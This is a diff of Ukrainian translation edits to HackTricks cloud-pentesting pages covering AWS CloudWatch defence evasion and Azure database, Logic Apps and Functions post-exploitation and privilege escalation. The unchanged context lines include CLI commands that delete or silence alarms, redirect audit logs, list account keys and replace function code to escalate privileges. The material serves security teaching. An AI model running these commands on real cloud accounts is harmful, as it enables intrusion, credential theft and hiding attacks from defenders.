-Він може встановлювати **алерти з високою роздільною здатністю**, візуалізувати **журнали** та **метрики** поруч, виконувати автоматизовані дії, усувати проблеми та виявляти інсайти для оптимізації додатків.
+Він може встановлювати **сигнали високої роздільної здатності**, візуалізувати **журнали** та **метрики** поряд, виконувати автоматизовані дії, усувати проблеми та виявляти інсайти для оптимізації додатків.
Ви можете моніторити, наприклад, журнали з CloudTrail. Події, які моніторяться:
@@ -39,9 +39,9 @@
### Статистика
-Статистика - це математичні обчислення, виконані над даними метрик для їх узагальнення з часом. Загальні статистики включають Середнє, Суму, Мінімум, Максимум та Кількість зразків.
+Статистика - це математичні обчислення, виконані над даними метрик для їх узагальнення з часом. Загальні статистичні показники включають Середнє, Суму, Мінімум, Максимум та Кількість зразків.
-- **Приклад**: Обчислення середнього використання CPU за період в одну годину.
+- **Приклад**: Обчислення середнього використання ЦП за період в одну годину.
### Одиниці
@@ -51,44 +51,44 @@
## Функції CloudWatch
-### Панель
+### Панель приладів
-**Панелі CloudWatch** надають настроювані **перегляди ваших метрик AWS CloudWatch**. Можна створювати та налаштовувати панелі для візуалізації даних і моніторингу ресурсів в одному огляді, поєднуючи різні метрики з різних сервісів AWS.
+**Панелі приладів CloudWatch** надають настроювані **огляди ваших метрик AWS CloudWatch**. Можна створювати та налаштовувати панелі для візуалізації даних та моніторингу ресурсів в одному огляді, поєднуючи різні метрики з різних сервісів AWS.
**Ключові функції**:
-- **Віджети**: Будівельні блоки панелей, включаючи графіки, текст, алерти та інше.
+- **Віджети**: Будівельні блоки панелей, включаючи графіки, текст, сигнали та інше.
- **Налаштування**: Макет і вміст можуть бути налаштовані відповідно до конкретних потреб моніторингу.
**Приклад використання**:
-- Одна панель, що показує ключові метрики для вашого всього середовища AWS, включаючи EC2 інстанси, бази даних RDS та S3 контейнери.
+- Одна панель, що показує ключові метрики для вашого всього середовища AWS, включаючи EC2 інстанси, бази даних RDS та кошики S3.
### Потік метрик та дані метрик
**Потоки метрик** в AWS CloudWatch дозволяють вам безперервно передавати метрики CloudWatch до обраного вами місця призначення в майже реальному часі. Це особливо корисно для розширеного моніторингу, аналітики та користувацьких панелей, використовуючи інструменти поза AWS.
-**Дані метрик** всередині Потоків метрик відносяться до фактичних вимірювань або даних, які передаються. Ці дані представляють різні метрики, такі як використання CPU, використання пам'яті тощо, для ресурсів AWS.
+**Дані метрик** всередині Потоків метрик відносяться до фактичних вимірювань або даних, які передаються. Ці дані представляють різні метрики, такі як використання ЦП, використання пам'яті тощо, для ресурсів AWS.
**Приклад використання**:
- Надсилання реальних метрик до стороннього сервісу моніторингу для розширеного аналізу.
-- Архівування метрик у контейнері Amazon S3 для довгострокового зберігання та відповідності.
+- Архівування метрик у кошику Amazon S3 для довгострокового зберігання та відповідності.
-### Алерт
+### Сигнал
-**Алерти CloudWatch** моніторять ваші метрики та виконують дії на основі попередньо визначених порогів. Коли метрика перевищує поріг, алерт може виконати одну або кілька дій, таких як надсилання сповіщень через SNS, активація політики автоматичного масштабування або виконання функції AWS Lambda.
+**Сигнали CloudWatch** моніторять ваші метрики та виконують дії на основі попередньо визначених порогів. Коли метрика перевищує поріг, сигнал може виконати одну або кілька дій, таких як надсилання сповіщень через SNS, активація політики автоматичного масштабування або виконання функції AWS Lambda.
**Ключові компоненти**:
-- **Поріг**: Значення, при якому спрацьовує алерт.
+- **Поріг**: Значення, при якому сигнал спрацьовує.
- **Періоди оцінки**: Кількість періодів, протягом яких дані оцінюються.
-- **Дані для алерту**: Кількість періодів з досягнутим порогом, необхідна для активації алерту.
-- **Дії**: Що відбувається, коли спрацьовує стан алерту (наприклад, сповіщення через SNS).
+- **Дані для сигналу**: Кількість періодів з досягнутим порогом, необхідна для активації сигналу.
+- **Дії**: Що відбувається, коли стан сигналу спрацьовує (наприклад, сповіщення через SNS).
**Приклад використання**:
-- Моніторинг використання CPU EC2 інстанса та надсилання сповіщення через SNS, якщо воно перевищує 80% протягом 5 послідовних хвилин.
+- Моніторинг використання ЦП EC2 інстанса та надсилання сповіщення через SNS, якщо воно перевищує 80% протягом 5 послідовних хвилин.
### Виявлення аномалій
@@ -101,21 +101,21 @@
**Приклад використання**:
-- Виявлення незвичних патернів використання CPU в EC2 інстансі, які можуть вказувати на порушення безпеки або проблему з додатком.
+- Виявлення незвичайних патернів використання ЦП в EC2 інстансі, які можуть вказувати на порушення безпеки або проблему з додатком.
### Правила інсайту та керовані правила інсайту
-**Правила інсайту** дозволяють вам виявляти тенденції, виявляти сплески або інші патерни інтересу у ваших даних метрик, використовуючи **потужні математичні вирази** для визначення умов, за яких повинні бути вжиті дії. Ці правила можуть допомогти вам виявити аномалії або незвичну поведінку у продуктивності та використанні ваших ресурсів.
+**Правила інсайту** дозволяють вам виявляти тенденції, виявляти сплески або інші патерни інтересу у ваших даних метрик, використовуючи **потужні математичні вирази** для визначення умов, за яких повинні бути вжиті дії. Ці правила можуть допомогти вам виявити аномалії або незвичайну поведінку у продуктивності та використанні ваших ресурсів.
**Керовані правила інсайту** - це попередньо налаштовані **правила інсайту, надані AWS**. Вони призначені для моніторингу конкретних сервісів AWS або загальних випадків використання та можуть бути активовані без необхідності детальної конфігурації.
**Приклад використання**:
-- Моніторинг продуктивності RDS: Увімкніть кероване правило інсайту для Amazon RDS, яке моніторить ключові показники продуктивності, такі як використання CPU, використання пам'яті та диск I/O. Якщо будь-яка з цих метрик перевищує безпечні операційні пороги, правило може активувати сповіщення або автоматизовану дію пом'якшення.
+- Моніторинг продуктивності RDS: Увімкніть кероване правило інсайту для Amazon RDS, яке моніторить ключові показники продуктивності, такі як використання ЦП, використання пам'яті та диск I/O. Якщо будь-яка з цих метрик перевищує безпечні операційні пороги, правило може активувати сповіщення або автоматизовану дію пом'якшення.
### Журнали CloudWatch
-Дозволяє **агрегувати та моніторити журнали з додатків** та систем з **сервісів AWS** (включаючи CloudTrail) та **з додатків/систем** (**CloudWatch Agent** може бути встановлений на хост). Журнали можуть **зберігатися безстроково** (залежно від налаштувань групи журналів) і можуть бути експортовані.
+Дозволяє **агрегувати та моніторити журнали з додатків** та систем з **сервісів AWS** (включаючи CloudTrail) та **з додатків/систем** (**CloudWatch Agent** може бути встановлений на хост). Журнали можуть бути **збережені безстроково** (залежно від налаштувань групи журналів) і можуть бути експортовані.
**Елементи**:
| Термін | Визначення |
@@ -126,14 +126,14 @@
### Моніторинг та події CloudWatch
-CloudWatch **базовий** агрегує дані **кожні 5 хвилин** ( **детальний** - **кожну 1 хвилину**). Після агрегації він **перевіряє пороги алертів**, щоб визначити, чи потрібно активувати один.\
+CloudWatch **базовий** агрегує дані **кожні 5 хвилин** ( **детальний** робить це **кожну 1 хвилину**). Після агрегації він **перевіряє пороги сигналів** на випадок, якщо потрібно активувати один.\
У цьому випадку CloudWatch може бути готовий надіслати подію та виконати деякі автоматичні дії (функції AWS lambda, теми SNS, черги SQS, потоки Kinesis)
### Встановлення агента
Ви можете встановити агентів всередині своїх машин/контейнерів, щоб автоматично надсилати журнали назад до CloudWatch.
-- **Створіть** **роль** та **прикріпіть** її до **інстанса** з дозволами, що дозволяють CloudWatch збирати дані з інстансів, а також взаємодіяти з AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
+- **Створіть** **роль** та **прикріпіть** її до **інстансу** з дозволами, що дозволяють CloudWatch збирати дані з інстансів, крім взаємодії з AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
- **Завантажте** та **встановіть** **агент** на EC2 інстанс ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Ви можете завантажити його зсередини EC2 або встановити автоматично, використовуючи AWS Systems Manager, вибравши пакет AWS-ConfigureAWSPackage
- **Налаштуйте** та **запустіть** CloudWatch Agent
@@ -216,9 +216,9 @@ aws events list-event-buses
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
-Зловмисник з цими дозволами може суттєво підірвати інфраструктуру моніторингу та сповіщення організації. Видаляючи існуючі тривоги, зловмисник може вимкнути критично важливі сповіщення, які повідомляють адміністраторів про критичні проблеми з продуктивністю, порушення безпеки або збої в роботі. Крім того, створюючи або модифікуючи метрики тривог, зловмисник також може вводити адміністраторів в оману хибними сповіщеннями або заглушати законні тривоги, ефективно маскуючи злочинні дії та запобігаючи своєчасним реакціям на реальні інциденти.
+Зловмисник з цими правами може суттєво підірвати моніторинг та систему сповіщень організації. Видаляючи існуючі тривоги, зловмисник може вимкнути критично важливі сповіщення, які інформують адміністраторів про серйозні проблеми з продуктивністю, порушення безпеки або збої в роботі. Крім того, створюючи або змінюючи метрики тривог, зловмисник також може вводити адміністраторів в оману хибними сповіщеннями або заглушати законні тривоги, ефективно маскуючи злочинні дії та запобігаючи своєчасним реакціям на реальні інциденти.
-Крім того, з дозволом **`cloudwatch:PutCompositeAlarm`** зловмисник зможе створити цикл складних тривог, де складна тривога A залежить від складної тривоги B, а складна тривога B також залежить від складної тривоги A. У цьому сценарії неможливо видалити будь-яку складну тривогу, яка є частиною циклу, оскільки завжди залишається складна тривога, яка залежить від тієї тривоги, яку ви хочете видалити.
+Крім того, з правом **`cloudwatch:PutCompositeAlarm`** зловмисник зможе створити цикл або петлю складних тривог, де складна тривога A залежить від складної тривоги B, а складна тривога B також залежить від складної тривоги A. У цьому сценарії неможливо видалити будь-яку складну тривогу, яка є частиною циклу, оскільки завжди залишається складна тривога, яка залежить від тієї тривоги, яку ви хочете видалити.
```bash
aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ]
aws cloudwatch delete-alarms --alarm-names
@@ -281,7 +281,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--
**Потенційний вплив**: Відсутність сповіщень про критичні події, потенційні непомічені проблеми, хибні сповіщення, придушення справжніх сповіщень і потенційно пропущені виявлення реальних інцидентів.
-### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`**
+### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**
Видаляючи дії сповіщення, зловмисник може запобігти спрацьовуванню критичних сповіщень і автоматизованих відповідей, коли досягається стан тривоги, наприклад, сповіщення адміністраторів або ініціювання автоматичного масштабування. Неправильне увімкнення або повторне увімкнення дій сповіщення також може призвести до несподіваних поведінок, або шляхом повторної активації раніше вимкнених дій, або шляхом зміни того, які дії спрацьовують, що може викликати плутанину і неправильне реагування на інциденти.
@@ -302,7 +302,7 @@ aws cloudwatch set-alarm-state --alarm-name --state-value | --namespace --metric-name --dimensions --stat ]
aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ]
```
-Наступний приклад показує, як зробити детектор аномалій метрики неефективним. Цей детектор аномалій метрики моніторить середнє використання ЦП конкретного EC2 екземпляра, і просто додавши параметр “ExcludedTimeRanges” з бажаним часовим діапазоном, буде достатньо, щоб забезпечити, що детектор аномалій не аналізує або не сповіщає про жодні релевантні дані протягом цього періоду.
+Наступний приклад показує, як зробити детектор аномалій метрики неефективним. Цей детектор аномалій метрики моніторить середнє використання ЦП конкретного EC2 екземпляра, і просто додавши параметр “ExcludedTimeRanges” з бажаним часовим діапазоном, буде достатньо, щоб забезпечити, що детектор аномалій не аналізує або не сповіщає про будь-які релевантні дані протягом цього періоду.
{{#tabs }}
{{#tab name="Original Metric Anomaly Detector" }}
@@ -355,7 +355,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace
aws cloudwatch put-dashboard --dashboard-name --dashboard-body
@@ -364,7 +364,7 @@ aws cloudwatch put-dashboard --dashboard-name --dashboard-body
### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`**
-Правила інсайту використовуються для виявлення аномалій, оптимізації продуктивності та ефективного управління ресурсами. Видаляючи існуючі правила інсайту, зловмисник може усунути критичні можливості моніторингу, залишаючи систему сліпою до проблем з продуктивністю та загроз безпеці. Крім того, зловмисник може створювати або змінювати правила інсайту, щоб генерувати оманливі дані або приховувати злочинні дії, що призводить до неправильних діагностик і неналежних реакцій з боку операційної команди.
+Правила інсайту використовуються для виявлення аномалій, оптимізації продуктивності та ефективного управління ресурсами. Видаляючи існуючі правила інсайту, зловмисник може усунути критично важливі можливості моніторингу, залишаючи систему сліпою до проблем з продуктивністю та загроз безпеці. Крім того, зловмисник може створювати або змінювати правила інсайту, щоб генерувати оманливі дані або приховувати злочинні дії, що призводить до неправильних діагностик і неналежних реакцій з боку операційної команди.
```bash
aws cloudwatch delete-insight-rules --rule-names
aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ]
@@ -385,7 +385,7 @@ aws cloudwatch enable-insight-rules --rule-names
Зловмисник з правами **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** зможе створювати та видаляти потоки даних метрик, що компрометує безпеку, моніторинг та цілісність даних:
-- **Створення шкідливих потоків**: Створення потоків метрик для відправки чутливих даних до несанкціонованих місць призначення.
+- **Створення шкідливих потоків**: Створення потоків метрик для відправки чутливих даних до несанкціонованих місць.
- **Маніпуляція ресурсами**: Створення нових потоків метрик з надмірними даними може створити багато шуму, викликаючи неправильні сповіщення, маскуючи справжні проблеми.
- **Порушення моніторингу**: Видаляючи потоки метрик, зловмисники порушать безперервний потік моніторингових даних. Таким чином, їхні шкідливі дії будуть ефективно приховані.
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
index efb994ca4..0d6559214 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
@@ -1,8 +1,8 @@
-# Az - CosmosDB Пост Експлуатація
+# Az - CosmosDB Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
-## CosmosDB Пост Експлуатація
+## CosmosDB Post Exploitation
Для отримання додаткової інформації про SQL Database перегляньте:
{{#ref}}
@@ -38,7 +38,7 @@ az cosmosdb sql container update \
--ttl 3600
```
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
-З цією дозволом ви можете створювати або змінювати SQL бази даних в обліковому записі Azure Cosmos DB. Це дозволяє керувати структурою бази даних і додавати нові бази даних до облікового запису. Хоча цей дозвіл дозволяє створення бази даних, неналежне або несанкціоноване використання може призвести до непотрібного споживання ресурсів, збільшення витрат або операційних неефективностей.
+З цією дозволом ви можете створювати або змінювати SQL бази даних в обліковому записі Azure Cosmos DB. Це дозволяє керувати структурою бази даних та додавати нові бази даних до облікового запису. Хоча цей дозвіл дозволяє створення бази даних, неналежне або несанкціоноване використання може призвести до непотрібного споживання ресурсів, збільшення витрат або операційних неефективностей.
```bash
az cosmosdb sql database create \
--account-name \
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
index 50a9e2b2f..2a5467459 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
@@ -10,7 +10,7 @@
{{#endref}}
### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
-З цими дозволами ви можете змінювати робочі процеси Logic App і керувати їхніми ідентичностями. Зокрема, ви можете призначати або видаляти системно призначені та призначені користувачем керовані ідентичності для робочих процесів, що дозволяє Logic App аутентифікуватися та отримувати доступ до інших ресурсів Azure без явних облікових даних.
+З цими дозволами ви можете змінювати робочі процеси Logic App і керувати їхніми ідентичностями. Зокрема, ви можете призначати або видаляти системно призначені та призначені користувачем керовані ідентичності для робочих процесів, що дозволяє Logic App автентифікуватися та отримувати доступ до інших ресурсів Azure без явних облікових даних.
```bash
az logic workflow identity remove/assign \
--name \
@@ -19,7 +19,7 @@ az logic workflow identity remove/assign \
--user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/"
```
### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
-З цими дозволами ви можете створювати або оновлювати Logic Apps, розміщені на App Service Plan. Це включає зміну налаштувань, таких як увімкнення або вимкнення примусового використання HTTPS.
+З цими дозволами ви можете створювати або оновлювати Logic Apps, розміщені на App Service Plan. Це включає зміну налаштувань, таких як увімкнення або вимкнення примусу HTTPS.
```bash
az logicapp update \
--resource-group \
@@ -77,7 +77,7 @@ az logic integration-account map create \
--map-content map-content.xslt
```
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
-З цією дозволом ви можете створювати або змінювати партнерів у обліковому записі інтеграції Azure Logic Apps. Партнери представляють сутності або системи, які беруть участь у бізнес-до-бізнес (B2B) робочих процесах.
+З цією дозволом ви можете створювати або змінювати партнерів у обліковому записі інтеграції Azure Logic Apps. Партнери представляють собою сутності або системи, які беруть участь у бізнес-до-бізнес (B2B) робочих процесах.
```bash
az logic integration-account partner create \
--resource-group \
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
index 87891a7a5..bd10baff1 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
@@ -67,7 +67,7 @@ az mysql flexible-server reset-gtid \
```
### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
-З цією дозволом ви можете оновити налаштування конфігурації екземпляра MySQL Flexible Server на Azure. Це дозволяє налаштувати параметри сервера, такі як налаштування продуктивності, конфігурації безпеки або операційні налаштування. Ви можете оновити наступні параметри разом у пакетному режимі: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors та max_connections.
+З цією дозволом ви можете оновити налаштування конфігурації екземпляра MySQL Flexible Server на Azure. Це дозволяє налаштувати параметри сервера, такі як налаштування продуктивності, конфігурації безпеки або операційні налаштування. Ви можете оновити наступні параметри разом у пакетному режимі: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, і max_connections.
```bash
az mysql flexible-server parameter set-batch \
--resource-group \
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
index e0aaf66fb..55bc9875e 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
@@ -11,7 +11,7 @@
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
-З цим дозволом ви можете створювати нові бази даних у екземплярі Postgres Flexible Server на Azure. Хоча ця дія сама по собі не змінює існуючі ресурси, надмірне або несанкціоноване створення баз даних може призвести до споживання ресурсів або потенційного зловживання сервером.
+З цією дозволом ви можете створювати нові бази даних у екземплярі Postgres Flexible Server на Azure. Хоча ця дія сама по собі не змінює існуючі ресурси, надмірне або несанкціоноване створення баз даних може призвести до споживання ресурсів або потенційного зловживання сервером.
```bash
az postgres flexible-server db create \
--server-name \
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
index b2618c515..d0e17231d 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
@@ -4,7 +4,7 @@
## SQL Database Post Exploitation
-Для отримання додаткової інформації про SQL Database перегляньте:
+Для отримання додаткової інформації про SQL Database дивіться:
{{#ref}}
../az-services/az-sql.md
@@ -22,7 +22,7 @@ az sql db update --resource-group --server --name
```
### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
-З цими дозволами зловмисник може створювати та оновлювати elasticPools у скомпрометованому середовищі. Ця діяльність після експлуатації може дозволити зловмиснику додавати шкідливі дані, змінювати конфігурації бази даних або вставляти бекдори для подальшої стійкості, що потенційно може порушити операції або дозволити додаткові шкідливі дії.
+З цими дозволами зловмисник може створювати та оновлювати elasticPools у скомпрометованому середовищі. Ця діяльність після експлуатації може дозволити зловмиснику додавати шкідливі дані, змінювати конфігурації бази даних або вставляти бекдори для подальшої стійкості, потенційно порушуючи операції або дозволяючи додаткові шкідливі дії.
```bash
# Create Elastic Pool
az sql elastic-pool create \
@@ -42,7 +42,7 @@ az sql elastic-pool update \
```
### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
-З цією дозволом ви можете змінювати або активувати налаштування аудиту на Azure SQL Server. Це може дозволити зловмиснику або авторизованому користувачу маніпулювати конфігураціями аудиту, потенційно приховуючи сліди або перенаправляючи журнали аудиту до місця, що знаходиться під їх контролем. Це може ускладнити моніторинг безпеки або дозволити йому відстежувати дії. ЗАУВАЖЕННЯ: Щоб активувати аудит для Azure SQL Server, використовуючи Blob Storage, ви повинні підключити обліковий запис сховища, куди можуть зберігатися журнали аудиту.
+З цією дозволом ви можете змінювати або активувати налаштування аудиту на Azure SQL Server. Це може дозволити зловмиснику або авторизованому користувачу маніпулювати конфігураціями аудиту, потенційно приховуючи сліди або перенаправляючи журнали аудиту в місце, що знаходиться під їх контролем. Це може заважати моніторингу безпеки або дозволити йому відстежувати дії. ПРИМІТКА: Щоб активувати аудит для Azure SQL Server, використовуючи Blob Storage, ви повинні підключити обліковий запис сховища, куди можуть зберігатися журнали аудиту.
```bash
az sql server audit-policy update \
--server \
@@ -76,7 +76,7 @@ az sql db export \
```
### `Microsoft.Sql/servers/databases/import/action`
-З цією дозволом ви можете імпортувати базу даних у Azure SQL Server. Зловмисник або авторизований користувач з цим дозволом може потенційно завантажити шкідливі або маніпульовані бази даних. Це може призвести до отримання контролю над чутливими даними або шляхом вбудовування шкідливих скриптів або тригерів у імпортовану базу даних. Додатково ви можете імпортувати її на свій власний сервер в Azure. Примітка: Сервер повинен дозволяти доступ служб Azure та ресурсів до сервера.
+З цією дозволом ви можете імпортувати базу даних у Azure SQL Server. Зловмисник або авторизований користувач з цим дозволом може потенційно завантажити шкідливі або маніпульовані бази даних. Це може призвести до отримання контролю над чутливими даними або шляхом вбудовування шкідливих скриптів або тригерів у імпортовану базу даних. Додатково ви можете імпортувати її на свій власний сервер в Azure. Примітка: Сервер повинен дозволяти доступ Azure-сервісів та ресурсів до сервера.
```bash
az sql db import --admin-user \
--admin-password \
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
index 702c02dc8..628d51df8 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
@@ -44,7 +44,7 @@ az cosmosdb sql role assignment create \
--scope "/"
```
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
-З цією дозволом ви можете отримати основні та вторинні ключі для облікового запису Azure Cosmos DB. Ці ключі надають повний доступ до облікового запису бази даних та його ресурсів, що дозволяє виконувати такі дії, як читання даних, запис та зміни конфігурації.
+З цією дозволом ви можете отримати первинні та вторинні ключі для облікового запису Azure Cosmos DB. Ці ключі надають повний доступ до облікового запису бази даних та його ресурсів, що дозволяє виконувати такі дії, як читання даних, запис та зміни конфігурації.
```bash
az cosmosdb keys list \
--name \
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
index 8b63b3c7f..6969a7a8d 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
@@ -14,7 +14,7 @@
Маючи дозволи на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можна знайти **різні контейнери** (кастомні або з попередньо визначеними іменами), які можуть містити **код, виконуваний функцією**.
-Якщо ви знайдете, де розташований код функції, і маєте дозволи на запис, ви можете змусити функцію виконати будь-який код і підвищити привілеї до керованих ідентичностей, прикріплених до функції.
+Якщо ви знайдете, де розташований код функції, і у вас є дозволи на запис, ви можете змусити функцію виконати будь-який код і підвищити привілеї до керованих ідентичностей, прикріплених до функції.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` і `WEBSITE_CONTENTSHARE`)
@@ -47,7 +47,7 @@ open "smb://.file.core.windows.net/"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
-Також часто можна знайти **zip релізи** всередині папки `function-releases` контейнера Storage Account, який використовує функціональний додаток у контейнері **зазвичай називається `function-releases`**.
+Також часто можна знайти **zip релізи** всередині папки `function-releases` контейнера облікового запису зберігання, який використовує функціональний додаток у контейнері **зазвичай називаному `function-releases`**.
Зазвичай цей метод розгортання встановлює конфігурацію `WEBSITE_RUN_FROM_PACKAGE` в:
```bash
@@ -66,7 +66,7 @@ az functionapp config appsettings list \
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` та `WEBSITE_CONTENTSHARE`)
-З правами на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер **`scm-releases`**. Там можливо знайти останній реліз у **форматі файлової системи Squashfs** і, отже, можливо прочитати код функції:
+З правами на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер **`scm-releases`**. Там можливо знайти останній реліз у **форматі файлу файлової системи Squashfs** і, отже, можливо прочитати код функції:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-.zip
```
-Також можливо знайти **ключі майстра та функцій**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **``** в JSON-файлах, які ви можете знайти всередині.
+Також можливо знайти **master and functions keys**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **``** у JSON-файлах, які ви можете знайти всередині.
> [!CAUTION]
-> З достатніми правами для підключення до контейнера блобів, який **містить код у файлі з розширенням zip** (який насправді є **`squashfs`**), можливо виконати довільний код у Функції та підвищити привілеї.
+> З достатніми правами для підключення до контейнера blob, який **містить код у файлі з розширенням zip** (який насправді є **`squashfs`**), можливо виконати довільний код у Function і підвищити привілеї.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,7 +118,7 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
-Ця дозволяє перелічити ключі функції, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з:
+Ця дозволяє перерахувати ключі функції, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з:
```bash
az functionapp keys list --resource-group --name
```
@@ -133,7 +133,7 @@ curl "?code="
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
```
-І щоб **змінити код, який виконується** у функції з:
+І щоб **змінити код, який виконується** у функції на:
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
@@ -157,7 +157,7 @@ az functionapp keys set --resource-group --key-name --key
```
### `Microsoft.Web/sites/host/masterKey/write`
-Ця дозволяє створювати/оновлювати головний ключ для вказаної функції з:
+Ця дозволяє створювати/оновлювати майстер-ключ для вказаної функції з:
```bash
az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
@@ -172,7 +172,7 @@ az functionapp keys set --resource-group --key-name --key
```
### `Microsoft.Web/sites/config/list/action`
-Ця дозволяє отримати налаштування функції. Усередині цих конфігурацій може бути можливим знайти значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами**.
